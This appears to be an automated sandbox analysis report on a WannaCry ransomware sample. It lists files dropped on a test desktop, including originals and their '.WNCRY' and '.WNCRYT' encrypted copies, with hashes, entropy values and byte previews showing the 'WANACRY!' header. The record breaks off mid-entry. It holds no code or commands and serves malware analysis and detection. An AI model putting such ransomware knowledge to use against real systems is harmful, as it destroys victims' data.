                                                                                                      SSDEEP:24:bkLGr/v8nRptJQTqwc5wHXfRYDGwzFIuTQc1OiMgne/fEBGorGfXhe3mukUE:bkLGrXORPqTqv85AGwzFvQc1O0QMBGoo
                                                                                                      MD5:E82F26AABD6486A9AA72528B9590C7C8
                                                                                                      SHA1:B8965B719ECE37D0AA8628D5C6A1D71F31D2685E
                                                                                                      SHA-256:C3AD9AA9489D6B9AAB0838998BC611B66E22C6C1EF736F642457543DB2C3152B
                                                                                                      SHA-512:BDFC6DA53D30D90775E469883E65D70806C80E70BF504619A7B1D74C3526C60CCE1978811A47660B49AA80BF88118F97FFCE6D24FADF9C48E82C013192EA5651
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......*.........'..N/9b.8..[.1..}.l..2s.....#X.[..[...%.&..T..zT]bV.J..y.[.....0.%.c.....6Q...{.6.....".?..`^.....Lf...MVC...~d.w..45.r............k44...ob.1Q.M=q....../X.../.#..}.6....D..#q..K..G]N.../`.x.U........{..5i..DD|p.(...:...T..G..P...NN4o............."8...1....{;..B.*+d..9SYO..=K.E"..+...f...Y.......y!..m.....B...S ..4.....a.4Ds..t.Z......^-....z.............SI.*.b.6]D..g...k...U.hG..]U.d.t.~H.1...&p.sM..T.L ...ED.k/..d4'..,..7\.Fa$.T.io...<. .0y.MS..$.RB.4......n\0...#.a..............G.R.@..u]-.}....93.;.i.L....cS.ZF.G.........S7..A6.aU.hk.D..x...J.....0V..h.....q.".g;%-|t+.....dp...........()..q.:.....k.r.......J..]...{D.W...n/.\........Rf....FQ.T.[V[h.oF..}~....-m..:.AM..5n.....=.".~..e.@vcM..+.k.?.%.A.O^~..1...Lov.k.........K|.!..2Z ..t-......0j..y.>.C.1......P.s\...A..R.../.(.*..-...<....jmCb1../V.;u.(.......b...Zd..x./k.Um..W..G.....r$..w.*.....,]Q...x.../.....`-..g/..[.=..&4.@.N...3x...~%W.x...X;.R.....H.k....A

                                                                                                      C:\Users\user\Desktop\EIVQSAOTAQ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86601723950287
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkLGr/v8nRptJQTqwc5wHXfRYDGwzFIuTQc1OiMgne/fEBGorGfXhe3mukUE:bkLGrXORPqTqv85AGwzFvQc1O0QMBGoo
                                                                                                      MD5:E82F26AABD6486A9AA72528B9590C7C8
                                                                                                      SHA1:B8965B719ECE37D0AA8628D5C6A1D71F31D2685E
                                                                                                      SHA-256:C3AD9AA9489D6B9AAB0838998BC611B66E22C6C1EF736F642457543DB2C3152B
                                                                                                      SHA-512:BDFC6DA53D30D90775E469883E65D70806C80E70BF504619A7B1D74C3526C60CCE1978811A47660B49AA80BF88118F97FFCE6D24FADF9C48E82C013192EA5651
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......*.........'..N/9b.8..[.1..}.l..2s.....#X.[..[...%.&..T..zT]bV.J..y.[.....0.%.c.....6Q...{.6.....".?..`^.....Lf...MVC...~d.w..45.r............k44...ob.1Q.M=q....../X.../.#..}.6....D..#q..K..G]N.../`.x.U........{..5i..DD|p.(...:...T..G..P...NN4o............."8...1....{;..B.*+d..9SYO..=K.E"..+...f...Y.......y!..m.....B...S ..4.....a.4Ds..t.Z......^-....z.............SI.*.b.6]D..g...k...U.hG..]U.d.t.~H.1...&p.sM..T.L ...ED.k/..d4'..,..7\.Fa$.T.io...<. .0y.MS..$.RB.4......n\0...#.a..............G.R.@..u]-.}....93.;.i.L....cS.ZF.G.........S7..A6.aU.hk.D..x...J.....0V..h.....q.".g;%-|t+.....dp...........()..q.:.....k.r.......J..]...{D.W...n/.\........Rf....FQ.T.[V[h.oF..}~....-m..:.AM..5n.....=.".~..e.@vcM..+.k.?.%.A.O^~..1...Lov.k.........K|.!..2Z ..t-......0j..y.>.C.1......P.s\...A..R.../.(.*..-...<....jmCb1../V.;u.(.......b...Zd..x./k.Um..W..G.....r$..w.*.....,]Q...x.../.....`-..g/..[.=..&4.@.N...3x...~%W.x...X;.R.....H.k....A

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8164717016915635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3C+rlPpmFNhT8b7PlvsAPzteJMuea67iNJNA0wllun:Sm+hsr+APZeJM3ViJi7Lo
                                                                                                      MD5:B339520FF71ED51A68E2E04CF2EE710E
                                                                                                      SHA1:D8D50B813997055C90CE096DCE58C6441B3D1F6B
                                                                                                      SHA-256:A342FB4B2955CDF6E492D88423CB756D012D148DCF4C7A632485C5B660212D22
                                                                                                      SHA-512:319B64E445F47F594D1EA1C1C09A70EB629A3B6B0A6EAD840CBA25728FBF0C987372BFA74CC1B06077BF7A6E765151A4A499FDAA8916CD918569DE58026B8269
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.9...H.1T...R.$...J.Y.b.0$....C..a.jw`;.V.v......c.....~.^.9J....9.z*.YZS-"...!....P..j0....e.R....g;.'..(.. .8:.(.i.h..L.n._.Z..1LXbB._.C1z8..0..\m{..lg...^#....<.:9.l.A,...d......),4.<Zxv...a..F.........'`.}...|.d*.f7....m.*M................"...`@..H.U.a......._.;..hv.m.)..|..).r.#jG'....P...at[......vB......9.../..<....G.&..$Hr<).'..<.r.jV.:..mKp...c..]..WU...w..x5..Q.....(..<.E.Q}^.r..Kx......@..a..8.982c8.(.....qc;.P7Me.6xb(....XT.V..Z........?.I.p.=..&..aj(O.Q..c..[...D.I.......2.B.......Z8r+.~.....)Sal.9pvgG......Wv,=..?m.......Xbv.+..^un".;..Hc...:.#-...J.[../....5.YP..WX..l.....(....|.3.!..BS..H.l.....s.\n/.j........._5....V....f....X..>tx;.'.....XX...5..........hDT...,.Y1Cq..D2^.?(......%....~.<Y)[.h.....i.E..F^...........pq&P...`#%#.../........;.Y...I4..3//C%.}Q.g.u..3v.GV.f.qZO.z..7......@*.....b.......0........."..h...L......2Ue....+...&.v.Y..x...n..g.V....V"e@99qK..[..Wk.A.4.}.1x^Q=.]wRL6..sc'.&.,'_R....7.53M/..,.E..y

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846134625772551
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkN+haQQ8RSMSi3JGJYOoscQHVafOMYPLSiSWVEc8uCvSOWGXQNf8SyFfsqNe/PC:bkuOMSi3JmYXscQHwfjYjS7cYSO9QNf4
                                                                                                      MD5:2C67A146F437BC72B058BD78964445F8
                                                                                                      SHA1:2BD495BCC3FDEB3C99C3F58687F7E7EF9C2B270C
                                                                                                      SHA-256:D79F8CE18C0F30A6549ECCDACF0E85F1CDCEC775F0AAD8BC5F4CDC91CE9CE251
                                                                                                      SHA-512:C3817BB79D53F4F70FAC62152632F5C35014877AF269D6A427A82A813F367207767DD6B2AFB96ECC191E9D537057B1A35D90EC547DFB9EDC953974D46B5366C8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....+........R}.P..)c+..2.@.47.ss:=.....=..A..pl)..`....Z..\].k.uA!./.v.*....3ZmL.B$..,..E...t.t( .p..'/..(<I.^..t..8....Q7..I....P......_..-j....g..p....~.Q..rh.Z.....5>@....s....H..iA7ZOR.s.v.....D.d..........................v...GBm.ID......................o..r......~..`.c.}.,....^`..:(..4....-...oUy.UD.H/....m...bE....[.;..C...]...........+;R....G$.~....a..].<#t.{..'S.[.Gn.-..6..G..?...3.....9....v...~S..Y[....y....dk..........U.~.l....a.D.]9.SGt.,.o...V....~.....I........t...=.lG...f.Zp4...3....P...Z.<...f..{...xI$ljc.C.<.............*"odKN.Bm...\v...I.y....?].E.5..{......'.]..PS|.#f.:..V.......[&.G..krT...v..."3..U..rc.............S@...T!..`i.L.Z..X.m.g...g...i.U.(.....f@E.g..5.I.7.p.... a[.IP?.k...P.......>.&.X..K,..xo.7.6.....ak.*.....?g..[M b...Pp.v....>..M^.D=...............F.j..........8/.9....E...o....Cw3.\.O!e.Dt.m.o..M.t.q..SCE\.U.V..7.A.~...@.*.)cC.bSc..\n.]'N2h.9..J..h...#..:W..]<....s".zyL....H......d....@.>b .

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846134625772551
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkN+haQQ8RSMSi3JGJYOoscQHVafOMYPLSiSWVEc8uCvSOWGXQNf8SyFfsqNe/PC:bkuOMSi3JmYXscQHwfjYjS7cYSO9QNf4
                                                                                                      MD5:2C67A146F437BC72B058BD78964445F8
                                                                                                      SHA1:2BD495BCC3FDEB3C99C3F58687F7E7EF9C2B270C
                                                                                                      SHA-256:D79F8CE18C0F30A6549ECCDACF0E85F1CDCEC775F0AAD8BC5F4CDC91CE9CE251
                                                                                                      SHA-512:C3817BB79D53F4F70FAC62152632F5C35014877AF269D6A427A82A813F367207767DD6B2AFB96ECC191E9D537057B1A35D90EC547DFB9EDC953974D46B5366C8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....+........R}.P..)c+..2.@.47.ss:=.....=..A..pl)..`....Z..\].k.uA!./.v.*....3ZmL.B$..,..E...t.t( .p..'/..(<I.^..t..8....Q7..I....P......_..-j....g..p....~.Q..rh.Z.....5>@....s....H..iA7ZOR.s.v.....D.d..........................v...GBm.ID......................o..r......~..`.c.}.,....^`..:(..4....-...oUy.UD.H/....m...bE....[.;..C...]...........+;R....G$.~....a..].<#t.{..'S.[.Gn.-..6..G..?...3.....9....v...~S..Y[....y....dk..........U.~.l....a.D.]9.SGt.,.o...V....~.....I........t...=.lG...f.Zp4...3....P...Z.<...f..{...xI$ljc.C.<.............*"odKN.Bm...\v...I.y....?].E.5..{......'.]..PS|.#f.:..V.......[&.G..krT...v..."3..U..rc.............S@...T!..`i.L.Z..X.m.g...g...i.U.(.....f@E.g..5.I.7.p.... a[.IP?.k...P.......>.&.X..K,..xo.7.6.....ak.*.....?g..[M b...Pp.v....>..M^.D=...............F.j..........8/.9....E...o....Cw3.\.O!e.Dt.m.o..M.t.q..SCE\.U.V..7.A.~...@.*.)cC.bSc..\n.]'N2h.9..J..h...#..:W..]<....s".zyL....H......d....@.>b .

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.810962411851569
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Fn3VSDg8Xmm/3DtEA1wMLgAaUAWpsMLJj8K:93cmm/3DGUKIl8K
                                                                                                      MD5:53F0F878199493A7C6982FB7A14DC771
                                                                                                      SHA1:3EC6E6A6401985261486ABC31A879F26885AFFFC
                                                                                                      SHA-256:AAA09475AC96D0238444C4095BBF082C936E75077A8AA5D73DB2821FB952795B
                                                                                                      SHA-512:2356BE0BB88AA18E2C0D7064C165AB6AF2F2EAF4285A879362C530F8C9062E1FB53EB1F61E622D91DC9D8A2C40D211B7A24CAB53AB11724BDE6A036DB4FA6A1E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:4.F.ku.....BbneHjR.^.ANY':.^.Dt...'.'d..G8.;.%..59...zx...S...C....n...4..P.8S.....~....._.w.....PbQ.+.>..z.-.....s}..",........Dc...Z..;..x.(..X0....@.X.y.9.}.;..y...../...."....f...]2\l.o<...t...B..M.D.>.p^..v.5.3.......v5P....eF.>{gg,......s.<...5........ly......Ozf..<#..........V..6..B&1W.1..U...rB...o"..R.'...,..c.bZH.....}..4QLN.Sw..I..l..L.]....5....9...7...O9..w.o...s..P...X.*..z...........z._..f..^.G=q.+.vK..h.Q....RM.+8......b^.-..]:h.Wo..>........Q*..\W.#.M;.bt.../G..<...C.3..M.".T..4.$...$...X.E...{*1AT.y..tX:..J.........2`.c....D.]..f.T.E.B">J.R?f../.Db.......8...0..=.a!..q`fr.......)....D.a5.v.>. ...,P)...K...l....,}#..V..d.H\..v.>A)3.F.........a...1.$.z...=mBa...(.n*.aJ..#..i.2..du..X..O$TOK._..e.8.Kj]q.y..xt6h.[4Cz..v?..yU....h.E....4...m.<.qr.3.....N..Id.P..W..uv.jU.].........(.0._.`.9T.X. .%=..{]..T.......7.\q.Y..3..6[.l.....y..]....|e..$W....F[)...-r.I.g.......no.t$..jb........CYC8C.....Y.q3]..t...])..c.f..g;.!q^J.

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.819201468000269
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvDOrlfx5ERe7FQPqsLDLJkiLfxablvdf2wqDNYwTNmyiRUdChBAVvjJSX:bkLGJuU43lQb/BWN9mRUEKmX
                                                                                                      MD5:EE676CCEB98DA0DF64A65355AD956FED
                                                                                                      SHA1:B0B6F0FF98FD39D1DE563FC5C0FC1372F0C31F20
                                                                                                      SHA-256:307F7AAD0DAE8898C1C3C92C96B3DD7F3A754CBB2026B9A4728DF9E1BCA8345C
                                                                                                      SHA-512:0E9478A33496E1A7B662E100240BCA9A594814BE32178D1FDDDE544ACD0972CAF4C65A2BCB32C98CE361B5634E3CA06FB2D5D5BBBA10B5C7A3821F43EDB71403
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....]p..aC.v./idQ.".OX..D.@.iPy.......O.w:.....#.'.v.....#.`..-..tP@..%X.=......@..v..}.......X...1......M..r7.C.k..A....k.4>... ...mI.l...i..UIJ.4.I......"}...zi._.h...c.C.xZ.FK.!b.Q:..Y..n&?A.b...b....NR.c..1.Z.{i..l&.F....lnV....8t.....;.f.&v......................WQ......a&.mL&...v..+..*9Q.y.?|m3...0.'...^..~z?'....;6;.3.=..S}.O.71%...."....-..E..f...\.>4.....!.R.;....=S..5.....1...6<s....n.f.c.".L..!.y..........I?..%_\..K...m.....&J:..z...D....NC.>\..A.L.r.A...P..w.M.<.0..f.+......3..v..-O}..w.....y..?.|...*.?.5../..."....~..j.D....'.0..0~f.+..H..er2........Iwv3...._...6.P...D...%.*}...9_m.......3...g.xp.`-.{..T../..>Z.P.H.......|.:.PJ.!.E.{.u.....v...&.r....3`d&....A.K..q....Wz.....yOA..33y.w...7.3D?.....-.x+ ..&..5..P}*k.g..[.T.....0...E.....^1.....S.%.nB2..v.9.d......M....~.0...!..CI.2.3k.Z..D....C).....D....p. ..HqC.K}... ..D..O[X.!.o.0y..} u.........w^.*'..h.....s...0.=.=......G...k@....b....]...y{.]h.I...*.....

                                                                                                      C:\Users\user\Desktop\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.819201468000269
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvDOrlfx5ERe7FQPqsLDLJkiLfxablvdf2wqDNYwTNmyiRUdChBAVvjJSX:bkLGJuU43lQb/BWN9mRUEKmX
                                                                                                      MD5:EE676CCEB98DA0DF64A65355AD956FED
                                                                                                      SHA1:B0B6F0FF98FD39D1DE563FC5C0FC1372F0C31F20
                                                                                                      SHA-256:307F7AAD0DAE8898C1C3C92C96B3DD7F3A754CBB2026B9A4728DF9E1BCA8345C
                                                                                                      SHA-512:0E9478A33496E1A7B662E100240BCA9A594814BE32178D1FDDDE544ACD0972CAF4C65A2BCB32C98CE361B5634E3CA06FB2D5D5BBBA10B5C7A3821F43EDB71403
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....]p..aC.v./idQ.".OX..D.@.iPy.......O.w:.....#.'.v.....#.`..-..tP@..%X.=......@..v..}.......X...1......M..r7.C.k..A....k.4>... ...mI.l...i..UIJ.4.I......"}...zi._.h...c.C.xZ.FK.!b.Q:..Y..n&?A.b...b....NR.c..1.Z.{i..l&.F....lnV....8t.....;.f.&v......................WQ......a&.mL&...v..+..*9Q.y.?|m3...0.'...^..~z?'....;6;.3.=..S}.O.71%...."....-..E..f...\.>4.....!.R.;....=S..5.....1...6<s....n.f.c.".L..!.y..........I?..%_\..K...m.....&J:..z...D....NC.>\..A.L.r.A...P..w.M.<.0..f.+......3..v..-O}..w.....y..?.|...*.?.5../..."....~..j.D....'.0..0~f.+..H..er2........Iwv3...._...6.P...D...%.*}...9_m.......3...g.xp.`-.{..T../..>Z.P.H.......|.:.PJ.!.E.{.u.....v...&.r....3`d&....A.K..q....Wz.....yOA..33y.w...7.3D?.....-.x+ ..&..5..P}*k.g..[.T.....0...E.....^1.....S.%.nB2..v.9.d......M....~.0...!..CI.2.3k.Z..D....C).....D....p. ..HqC.K}... ..D..O[X.!.o.0y..} u.........w^.*'..h.....s...0.=.=......G...k@....b....]...y{.]h.I...*.....

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.818458486059726
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZqRH2t/OvUp2123qOA9UKU5uk2ST83HCfd7SyA1YTJI6vKo:kRZIA9UX5uD4NAam6io
                                                                                                      MD5:F17A1BF5BBFF07FEF30CF8DC5F0AF0A7
                                                                                                      SHA1:861664D92A7FEA5B9FE96778C98D6EB6C75EFB0C
                                                                                                      SHA-256:48310F453197CA4A5A115EBE857F19C1D7F4346A347FA0C216FCDC39C5E3CF50
                                                                                                      SHA-512:E1E4138F774142CF93F1E4E1C64E10B391F0C4A9A87B838AFE85A7EEBE6EA37F73CDAE9CE22230B00D24CB24FAFDF2DAA593A20DD50CA27E93B64BD31C88A987
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..'\II..qt.....X..I..4S...<.f....p.............5>...z..v65.X%.q..4. .../...0....'...0..E,*.DVB.....T@..FPk6.e......a.*a...'..X...t.......s.MW....w...I.f...2C1..cV.Z.9...r.............n..+..s.!.U[..Bi......XK.3@.<..[.y0kC...r.G...C...3k4......0.4..].Z$......-@.C............A.E....).-.:..@7.=............u.M... ...M........q:.'...0..#.+]ygm..`.yH.....{?w....X...yt.O..W.+.?.....K........AC!Mn....H.Q|.xOl........H....+%D._.`k.D.y..R}.#J..M.y....}hG.^(....i].t......vI.....8.B^..(......^7..[.A.c...TS/..}X/..5.T.).I...-.....n...J..S*h?.|...D!.s0B\.(.Z.E.c.....#I........Vw./..vj...w....1.t... |)...n.....\..l.1.....+x...5.m.g..[..r...=....o^.B.........}.>x....> Yp.f.)....a/...c.......;.-N%HP.K.R...a....s...uC...n..A.....x...AM.....3..t.....L.:.q.[...1...#.2Fjr8...{.=.,....N....BQs.9..kZ...v?3........>._..r...-T...e.U..aQ.....A.iP..1.&..Z&.....}.B.....-?d/...h.C..."...>..0.....V~.:..n.U.+.c..5CY.6H.DNj9y.[M...........A.' ^`.......E.)..d......c.s

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845888809902754
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkwC8esj6frxbcM1TSeWLwYoMfVKuxJ/nzD7zqEZukdxJ8KvzpViyI/xl:bkWeCIp1m7LNDfBDzxZrx5pIyI
                                                                                                      MD5:C6FAB1BA050BF62B0DA3CD7328F45FAE
                                                                                                      SHA1:976F537F13B2833C5871BFD34D8821D78A9EB654
                                                                                                      SHA-256:AC46782FA887F3933FC6BB6C326EB092E97D1D1224C59525DE6CDCC134233785
                                                                                                      SHA-512:1192B5A5344986B975B617965E5B4CE6DC7141EAD9E2A407C67517C37BFD90A8F0D777E01DB33B0F40CD16BDAE55A2A13736B589E901D36B2B754BDA30E13932
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....n.gr.$.y.mBx...y...h.ag....mt9.Rq.I...}.2.....|Q.vu.Z..eJ....B.TW...@h.v..v......r.J.a.n.|.y.d:.=Y=.(."={.....8....^I..;,...VyP?`.....t.YF.....0.0lW..2.x..OI....@.....Hcm.zi....?..b..N...O.........Z..C[).p.p..V...E....V......@YA...q.h.......................{.__ay.t ...........&....#.m.B..-.i.....=.....R....V...')B2".&..iiU.!..&.Zgc.)..U.;+....:.~H.#........Fm.....+...i.<[...F..M.}..7..x."..&l...y""... +tZ]y..M,(...i$j..)..0G....]F.i3......+Xu75v./.g,..l.?.~.In......f$.A...b.M....F.g.I~..C.^.}D.3......xA...v...h=.E..W..HYW...h.\;J.oA....*j..6E..)PE. P...nn..?..0..S....i...|iF.Q...s...&....0...;...y..t.!..D.4..5...HW).I....^....*%..<...tCe=...V..&o..0(*...I..Y.Tx;?DS....*.F.......McT..2L.........0.Z@.[.A..nKH.9>}...y...A.....Vn....w#..n.>g^K.S,.p......$.......fw...|.U...O.yk..R..ty.\...6.f..?..O.9....>....!...%..Z.Qs...P..._..p.....O!.N.*....6'....C....<:..p.<....c..8..Y+...4..8...(..t.....N..f>H9\.'...EG..._.....{..u

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845888809902754
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkwC8esj6frxbcM1TSeWLwYoMfVKuxJ/nzD7zqEZukdxJ8KvzpViyI/xl:bkWeCIp1m7LNDfBDzxZrx5pIyI
                                                                                                      MD5:C6FAB1BA050BF62B0DA3CD7328F45FAE
                                                                                                      SHA1:976F537F13B2833C5871BFD34D8821D78A9EB654
                                                                                                      SHA-256:AC46782FA887F3933FC6BB6C326EB092E97D1D1224C59525DE6CDCC134233785
                                                                                                      SHA-512:1192B5A5344986B975B617965E5B4CE6DC7141EAD9E2A407C67517C37BFD90A8F0D777E01DB33B0F40CD16BDAE55A2A13736B589E901D36B2B754BDA30E13932
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....n.gr.$.y.mBx...y...h.ag....mt9.Rq.I...}.2.....|Q.vu.Z..eJ....B.TW...@h.v..v......r.J.a.n.|.y.d:.=Y=.(."={.....8....^I..;,...VyP?`.....t.YF.....0.0lW..2.x..OI....@.....Hcm.zi....?..b..N...O.........Z..C[).p.p..V...E....V......@YA...q.h.......................{.__ay.t ...........&....#.m.B..-.i.....=.....R....V...')B2".&..iiU.!..&.Zgc.)..U.;+....:.~H.#........Fm.....+...i.<[...F..M.}..7..x."..&l...y""... +tZ]y..M,(...i$j..)..0G....]F.i3......+Xu75v./.g,..l.?.~.In......f$.A...b.M....F.g.I~..C.^.}D.3......xA...v...h=.E..W..HYW...h.\;J.oA....*j..6E..)PE. P...nn..?..0..S....i...|iF.Q...s...&....0...;...y..t.!..D.4..5...HW).I....^....*%..<...tCe=...V..&o..0(*...I..Y.Tx;?DS....*.F.......McT..2L.........0.Z@.[.A..nKH.9>}...y...A.....Vn....w#..n.>g^K.S,.p......$.......fw...|.U...O.yk..R..ty.\...6.f..?..O.9....>....!...%..Z.Qs...P..._..p.....O!.N.*....6'....C....<:..p.<....c..8..Y+...4..8...(..t.....N..f>H9\.'...EG..._.....{..u

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808950401739624
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:SCxiN0RVVA4OE02Et/Zxh8lRdAhDJKKnSXUd2Ve:A8VA4Ot2Ethx4+IKnzr
                                                                                                      MD5:8E3EE4CF1222C2F2E4BE248B12F6BC63
                                                                                                      SHA1:8A49A9F00361C499319E782EB1D7B9EA4396FD83
                                                                                                      SHA-256:FA4D0899BA8B5473FCC2A29A3D3826B6948DE3C8CE4A8F66CDC505E2FC3B98D6
                                                                                                      SHA-512:B5F93FCDAC991510E6011952F19BC9FA0ACAA6B86956B9BAC557B5A5DC14E937B38590E56C492E88E42C8E8EB66AF0AA6DBC72FD5446989B7EB94576DBE535A4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.&M.3.@h`......r...:.iu....T....n...)X.y.k}...(...@..P.`v..5..)..!.C0mf.2|T..z.{,W.B..'.Z$..CGkr.!..k.=..e......u.xP..@...4A)X..$3....#]..Pc.....`.Q.....G.e.Nd]..FW..R.m~.z%....RR.T..Ge.....(O:. T....~...^..%.Y.[.4....}%.~[O.zWQ..~..Y...dW>c=R@ HYq7<..!p.fX.4.&...........%..b......(.=O....[..P..0..,...a..H.KY...{..ws.}Yd..].x!.x..H.{.vU.~....l..,.6.9.d..`......CW.oi.K....R..=0......mq.L..{...[...2.....k.G..@.;.P.vD..El.H2.........t.V.._a05xw..P..W.....d...Wc.... &~..&.............{X..y.L...%.V%.(....M.B[S..P..f.....P....g.AW1.^m.c0....y.%..C.F.jN@..6d'..g.....!'.......K.>z.v........o...2.&.^qh;m$......J,5.....@..sJ`2rF."......]./..3m...Yi.......Mn..-.i..?5(.0-SE..~.:...9.m.....8q.....m.N...1..:&6.Tr.J..f.t...n{..OR..8........<...N...t.JE...`UOg;..........#jl..i...4.^..'..:z....6. ..\!....d.q..S*.Y.F...{..n...5:..6.q|#|........o....;%.s.....G...^Fz.....+0x..f.........v.vCqn.U.,{#.o.'.C...,........*......b.\v.i.;P..... ..:.j.^.*\x.........1V.<Z..5...

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.856120375356068
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkbsLHYZ+xzT3QSmMMehep5nwRfjlA8j0zYha6zdhzaGe4C:bka4+zjj/YDi6895x1Ben
                                                                                                      MD5:2E830B72CFC8270CEBC198D41CE28BFE
                                                                                                      SHA1:B6A23FED438158ED3A53C60C62E8E47C7E7CFBE9
                                                                                                      SHA-256:3EE90E48F35491893F7904BB801BD4579EF9E3C311802FE5FF43EFC67F10FB89
                                                                                                      SHA-512:C0C26BC4CC42241CECC53B862E2E0DB5D90E01A2732F9D3352624179274BDFFBA5EAC179809085FDFDA2A7AFFEE3CD3C415E3191A5FC397EB191A8DDDDFDBB34
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......#.....^]....E.......x.tLa^..]..A.....Q..1.....7.r....1~S..]....>..,.5.!.8'..{k....0f.o..g.g.E..s..N..w.kW...`.....{*eE..X.KH.w...d....kO......Y^0_.v,Z..K..5%..........}7...%wz.2.2..N...~....@......W>o.po..Z.....p.l<=...w\. /..y.\.a.{.bf....."............$B+...0.....}..AfU...N.P.%~..I.`.....0....Tm...C..x'..\...R....*..../...}..<...o.!\M.....@...1.0h.:...l.B...W..C....!...Q....A./2...`........w.vz..1.8......;..<3:o.TvH.Y<.9^*...{._.7..loK.p..{ .u..l..h.b.zTo.Z.m.v<Bg3....W .8b........A.X,...s..O#....}..c.....EW$......Se..U"Kh.?.. .&.pRb._...q.....IqU. ...aA.F._..u....1.)3..-...}T]....4..K.......+.~.......fFR...#.).......I....A9....8;R.*...1..y...T.\]....W7.y...x..`.z.?+.>.....K..~@(....V...;*Y.B.h%....U.G..D... ..+.E.n..H.dnKC...1.r_.-.l..u....i.'....B.y.!.N.6.L....).....{..P.fJ).7.....4K5U*.E....;....b.6...K.....l\...=cs...}...P....g6..<C..s.!}=N....:g0.X.h...>.l..1..kIL..xf..8.8c..Nl .F.t.;....>.7..l.f.....`*A....lZl.V..

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
